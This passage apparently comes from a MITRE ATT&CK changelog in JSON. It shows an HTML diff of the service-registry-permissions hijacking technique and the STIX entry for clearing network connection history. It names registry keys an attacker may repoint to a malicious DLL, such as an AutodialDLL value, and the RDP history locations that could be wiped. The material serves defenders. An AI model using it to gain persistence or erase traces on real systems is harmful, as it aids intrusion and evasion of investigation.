class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;in&nbsp;the&nbsp;Registry&nbsp;under&nbsp;&lt;code&gt;HKLM\\SYSTEM\\CurrentControlSet\\</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Services&lt;/code&gt;.&nbsp;The&nbsp;information&nbsp;stored&nbsp;under&nbsp;a&nbsp;service's&nbsp;Re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Services&lt;/code&gt;.&nbsp;The&nbsp;information&nbsp;stored&nbsp;under&nbsp;a&nbsp;service's&nbsp;Re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gistry&nbsp;keys&nbsp;can&nbsp;be&nbsp;manipulated&nbsp;to&nbsp;modify&nbsp;a&nbsp;service's&nbsp;executi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gistry&nbsp;keys&nbsp;can&nbsp;be&nbsp;manipulated&nbsp;to&nbsp;modify&nbsp;a&nbsp;service's&nbsp;executi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;parameters&nbsp;through&nbsp;tools&nbsp;such&nbsp;as&nbsp;the&nbsp;service&nbsp;controller,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;parameters&nbsp;through&nbsp;tools&nbsp;such&nbsp;as&nbsp;the&nbsp;service&nbsp;controller,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sc.exe,&nbsp;&nbsp;[PowerShell](https://attack.mitre.org/techniques/T1</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sc.exe,&nbsp;&nbsp;[PowerShell](https://attack.mitre.org/techniques/T1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">059/001),&nbsp;or&nbsp;[Reg](https://attack.mitre.org/software/S0075).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">059/001),&nbsp;or&nbsp;[Reg](https://attack.mitre.org/software/S0075).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Access&nbsp;to&nbsp;Registry&nbsp;keys&nbsp;is&nbsp;controlled&nbsp;through&nbsp;access&nbsp;contro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Access&nbsp;to&nbsp;Registry&nbsp;keys&nbsp;is&nbsp;controlled&nbsp;through&nbsp;access&nbsp;contro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;lists&nbsp;and&nbsp;user&nbsp;permissions.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Registry&nbsp;Key&nbsp;Securi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;lists&nbsp;and&nbsp;user&nbsp;permissions.(Citation:&nbsp;Registry&nbsp;Key&nbsp;Securit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty)(Citation:&nbsp;malware_hides_service)&nbsp;&nbsp;If&nbsp;the&nbsp;permissions&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y)(Citation:&nbsp;malware_hides_service)&nbsp;&nbsp;If&nbsp;the&nbsp;permissions&nbsp;for&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;users&nbsp;and&nbsp;groups&nbsp;are&nbsp;not&nbsp;properly&nbsp;set&nbsp;and&nbsp;allow&nbsp;access&nbsp;to&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">users&nbsp;and&nbsp;groups&nbsp;are&nbsp;not&nbsp;properly&nbsp;set&nbsp;and&nbsp;allow&nbsp;access&nbsp;to&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;Registry&nbsp;keys&nbsp;for&nbsp;a&nbsp;service,&nbsp;adversaries&nbsp;may&nbsp;change&nbsp;the&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Registry&nbsp;keys&nbsp;for&nbsp;a&nbsp;service,&nbsp;adversaries&nbsp;may&nbsp;change&nbsp;the&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervice's&nbsp;binPath/ImagePath&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;different&nbsp;executabl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvice's&nbsp;binPath/ImagePath&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;different&nbsp;executable</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;under&nbsp;their&nbsp;control.&nbsp;When&nbsp;the&nbsp;service&nbsp;starts&nbsp;or&nbsp;is&nbsp;restart</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;under&nbsp;their&nbsp;control.&nbsp;When&nbsp;the&nbsp;service&nbsp;starts&nbsp;or&nbsp;is&nbsp;restarte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed,&nbsp;the&nbsp;adversary-controlled&nbsp;program&nbsp;will&nbsp;execute,&nbsp;allowing&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d,&nbsp;the&nbsp;adversary-controlled&nbsp;program&nbsp;will&nbsp;execute,&nbsp;allowing&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;adversary&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;privilege&nbsp;esca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;adversary&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;privilege&nbsp;escal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lation&nbsp;to&nbsp;the&nbsp;account&nbsp;context&nbsp;the&nbsp;service&nbsp;is&nbsp;set&nbsp;to&nbsp;execute&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;to&nbsp;the&nbsp;account&nbsp;context&nbsp;the&nbsp;service&nbsp;is&nbsp;set&nbsp;to&nbsp;execute&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">under&nbsp;(local/domain&nbsp;account,&nbsp;SYSTEM,&nbsp;LocalService,&nbsp;or&nbsp;Networ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nder&nbsp;(local/domain&nbsp;account,&nbsp;SYSTEM,&nbsp;LocalService,&nbsp;or&nbsp;Network</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kService).&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;alter&nbsp;other&nbsp;Registry&nbsp;keys&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Service).&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;alter&nbsp;other&nbsp;Registry&nbsp;keys&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;service\u2019s&nbsp;Registry&nbsp;tree.&nbsp;For&nbsp;example,&nbsp;the&nbsp;&lt;code&gt;Failur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;service\u2019s&nbsp;Registry&nbsp;tree.&nbsp;For&nbsp;example,&nbsp;the&nbsp;&lt;code&gt;Failure</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eCommand&lt;/code&gt;&nbsp;key&nbsp;may&nbsp;be&nbsp;changed&nbsp;so&nbsp;that&nbsp;the&nbsp;service&nbsp;is&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Command&lt;/code&gt;&nbsp;key&nbsp;may&nbsp;be&nbsp;changed&nbsp;so&nbsp;that&nbsp;the&nbsp;service&nbsp;is&nbsp;exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuted&nbsp;in&nbsp;an&nbsp;elevated&nbsp;context&nbsp;anytime&nbsp;the&nbsp;service&nbsp;fails&nbsp;or&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cuted&nbsp;in&nbsp;an&nbsp;elevated&nbsp;context&nbsp;anytime&nbsp;the&nbsp;service&nbsp;fails&nbsp;or&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;intentionally&nbsp;corrupted.(Citation:&nbsp;Kansa&nbsp;Service&nbsp;related&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;intentionally&nbsp;corrupted.(Citation:&nbsp;Kansa&nbsp;Service&nbsp;related&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollectors)(Citation:&nbsp;Tweet&nbsp;Registry&nbsp;Perms&nbsp;Weakness)&nbsp;&nbsp;The&nbsp;&lt;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">llectors)(Citation:&nbsp;Tweet&nbsp;Registry&nbsp;Perms&nbsp;Weakness)&nbsp;&nbsp;The&nbsp;&lt;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;Performance&lt;/code&gt;&nbsp;key&nbsp;contains&nbsp;the&nbsp;name&nbsp;of&nbsp;a&nbsp;driver&nbsp;serv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;Performance&lt;/code&gt;&nbsp;key&nbsp;contains&nbsp;the&nbsp;name&nbsp;of&nbsp;a&nbsp;driver&nbsp;servi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice's&nbsp;performance&nbsp;DLL&nbsp;and&nbsp;the&nbsp;names&nbsp;of&nbsp;several&nbsp;exported&nbsp;func</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce's&nbsp;performance&nbsp;DLL&nbsp;and&nbsp;the&nbsp;names&nbsp;of&nbsp;several&nbsp;exported&nbsp;funct</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;in&nbsp;the&nbsp;DLL.(Citation:&nbsp;microsoft_services_registry_tree</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions&nbsp;in&nbsp;the&nbsp;DLL.(Citation:&nbsp;microsoft_services_registry_tree)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;If&nbsp;the&nbsp;&lt;code&gt;Performance&lt;/code&gt;&nbsp;key&nbsp;is&nbsp;not&nbsp;already&nbsp;present</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;If&nbsp;the&nbsp;&lt;code&gt;Performance&lt;/code&gt;&nbsp;key&nbsp;is&nbsp;not&nbsp;already&nbsp;present&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;if&nbsp;an&nbsp;adversary-controlled&nbsp;user&nbsp;has&nbsp;the&nbsp;&lt;code&gt;Create&nbsp;Su</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;if&nbsp;an&nbsp;adversary-controlled&nbsp;user&nbsp;has&nbsp;the&nbsp;&lt;code&gt;Create&nbsp;Sub</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bkey&lt;/code&gt;&nbsp;permission,&nbsp;adversaries&nbsp;may&nbsp;create&nbsp;the&nbsp;&lt;code&gt;Per</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">key&lt;/code&gt;&nbsp;permission,&nbsp;adversaries&nbsp;may&nbsp;create&nbsp;the&nbsp;&lt;code&gt;Perf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">formance&lt;/code&gt;&nbsp;key&nbsp;in&nbsp;the&nbsp;service\u2019s&nbsp;Registry&nbsp;tree&nbsp;to&nbsp;point&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ormance&lt;/code&gt;&nbsp;key&nbsp;in&nbsp;the&nbsp;service\u2019s&nbsp;Registry&nbsp;tree&nbsp;to&nbsp;point&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;a&nbsp;malicious&nbsp;DLL.(Citation:&nbsp;insecure_reg_perms)&nbsp;&nbsp;Adversari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;a&nbsp;malicious&nbsp;DLL.(Citation:&nbsp;insecure_reg_perms)&nbsp;&nbsp;Adversarie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;also&nbsp;add&nbsp;the&nbsp;&lt;code&gt;Parameters&lt;/code&gt;&nbsp;key,&nbsp;which&nbsp;can&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;also&nbsp;add&nbsp;the&nbsp;&lt;code&gt;Parameters&lt;/code&gt;&nbsp;key,&nbsp;which&nbsp;can&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eference&nbsp;malicious&nbsp;drivers&nbsp;file&nbsp;paths.&nbsp;This&nbsp;technique&nbsp;has&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ference&nbsp;malicious&nbsp;drivers&nbsp;file&nbsp;paths.&nbsp;This&nbsp;technique&nbsp;has&nbsp;bee</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;identified&nbsp;to&nbsp;be&nbsp;a&nbsp;method&nbsp;of&nbsp;abuse&nbsp;by&nbsp;configuring&nbsp;DLL&nbsp;fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;identified&nbsp;to&nbsp;be&nbsp;a&nbsp;method&nbsp;of&nbsp;abuse&nbsp;by&nbsp;configuring&nbsp;DLL&nbsp;file</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;paths&nbsp;within&nbsp;the&nbsp;&lt;code&gt;Parameters&lt;/code&gt;&nbsp;key&nbsp;of&nbsp;a&nbsp;given&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;paths&nbsp;within&nbsp;the&nbsp;&lt;code&gt;Parameters&lt;/code&gt;&nbsp;key&nbsp;of&nbsp;a&nbsp;given&nbsp;ser</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvices&nbsp;registry&nbsp;configuration.&nbsp;By&nbsp;placing&nbsp;and&nbsp;configuring&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vices&nbsp;registry&nbsp;configuration.&nbsp;By&nbsp;placing&nbsp;and&nbsp;configuring&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;&lt;code&gt;Parameters&lt;/code&gt;&nbsp;key&nbsp;to&nbsp;reference&nbsp;a&nbsp;malicious&nbsp;DLL,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;Parameters&lt;/code&gt;&nbsp;key&nbsp;to&nbsp;reference&nbsp;a&nbsp;malicious&nbsp;DLL,&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversaries&nbsp;can&nbsp;ensure&nbsp;that&nbsp;their&nbsp;code&nbsp;is&nbsp;loaded&nbsp;persistentl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversaries&nbsp;can&nbsp;ensure&nbsp;that&nbsp;their&nbsp;code&nbsp;is&nbsp;loaded&nbsp;persistently</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;whenever&nbsp;the&nbsp;associated&nbsp;service&nbsp;or&nbsp;library&nbsp;is&nbsp;invoked.&nbsp;&nbsp;Fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;whenever&nbsp;the&nbsp;associated&nbsp;service&nbsp;or&nbsp;library&nbsp;is&nbsp;invoked.&nbsp;&nbsp;For</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;example,&nbsp;the&nbsp;registry&nbsp;path(Citation:&nbsp;MDSec)&nbsp;&lt;code&gt;HKEY_LOC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;example,&nbsp;the&nbsp;registry&nbsp;path(Citation:&nbsp;MDSec)&nbsp;&lt;code&gt;HKEY_LOCA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parame</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Paramet</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ters&lt;/code&gt;(Citation:&nbsp;hexacorn)(Citation:&nbsp;gendigital)&nbsp;contai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&lt;/code&gt;(Citation:&nbsp;hexacorn)(Citation:&nbsp;gendigital)&nbsp;contain</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;the&nbsp;&lt;code&gt;AutodiaDLL&lt;/code&gt;&nbsp;value,&nbsp;which&nbsp;specifies&nbsp;the&nbsp;DL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;the&nbsp;&lt;code&gt;AutodiaDLL&lt;/code&gt;&nbsp;value,&nbsp;which&nbsp;specifies&nbsp;the&nbsp;DLL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L&nbsp;to&nbsp;be&nbsp;loaded&nbsp;for&nbsp;autodial&nbsp;func<span class=\"diff_sub\">i</span>tionality.&nbsp;An&nbsp;adversary&nbsp;cou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;be&nbsp;loaded&nbsp;for&nbsp;autodial&nbsp;functionality.&nbsp;An&nbsp;adversary&nbsp;could</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ld&nbsp;set&nbsp;the&nbsp;&lt;code&gt;AutodiaDLL&lt;/code&gt;&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;hijacked&nbsp;or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;set&nbsp;the&nbsp;&lt;code&gt;AutodiaDLL&lt;/code&gt;&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;hijacked&nbsp;or&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;malicious&nbsp;DLL:&nbsp;&nbsp;&lt;code&gt;\"AutodialDLL\"=\"c:\\temp\\foo.dll\"&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alicious&nbsp;DLL:&nbsp;&nbsp;&lt;code&gt;\"AutodialDLL\"=\"c:\\temp\\foo.dll\"&lt;/code&gt;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;&nbsp;This&nbsp;ensures&nbsp;persistence,&nbsp;as&nbsp;it&nbsp;causes&nbsp;the&nbsp;DLL&nbsp;(in&nbsp;this&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;This&nbsp;ensures&nbsp;persistence,&nbsp;as&nbsp;it&nbsp;causes&nbsp;the&nbsp;DLL&nbsp;(in&nbsp;this&nbsp;cas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ase,&nbsp;foo.dll)&nbsp;to&nbsp;be&nbsp;loaded&nbsp;each&nbsp;time&nbsp;the&nbsp;Winsock&nbsp;2&nbsp;library&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e,&nbsp;foo.dll)&nbsp;to&nbsp;be&nbsp;loaded&nbsp;each&nbsp;time&nbsp;the&nbsp;Winsock&nbsp;2&nbsp;library&nbsp;is&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;invoked.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">invoked.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1024: Restrict Registry Permissions"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0427: Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness."
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-06-15 18:00:04.219000+00:00",
                    "modified": "2026-11-04 00:24:49.113000+00:00",
                    "name": "Clear Network Connection History and Configurations",
                    "description": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>(Citation: Microsoft RDP Removal)\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>(Citation: Microsoft RDP Removal)\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1070/007",
                            "external_id": "T1070.007"
                        },
                        {
                            "source_name": "FreeDesktop Journal",
                            "description": "freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.",
                            "url": "https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html"
                        },
                        {
                            "source_name": "Microsoft RDP Removal",
                            "description": "Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.",
                            "url": "https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"
                        },
                        {
                            "source_name": "Moran RDPieces",
                            "description": "Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.",
                            "url": "https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf"
                        },
                        {
                            "source_name": "Apple Culprit Access",
                            "description": "rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.",
                            "url": "https://discussions.apple.com/thread/3991574"
                        },
                        {
                            "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                            "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                            "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "CrowdStrike Falcon OverWatch"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:24:49.113000+00:00\", \"old_value\": \"2026-05-12 15:12:00.627000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\\n\\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\\n\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default</code>(Citation: Microsoft RDP Removal)\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers</code>(Citation: Microsoft RDP Removal)\\n\\nWindows may also store information about recent RDP connections in files such as <code>C:\\\\Users\\\\\\\\%username%\\\\Documents\\\\Default.rdp</code> and `C:\\\\Users\\\\%username%\\\\AppData\\\\Local\\\\Microsoft\\\\Terminal\\nServer Client\\\\Cache\\\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.\", \"old_value\": \"Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\\n\\nNetwork 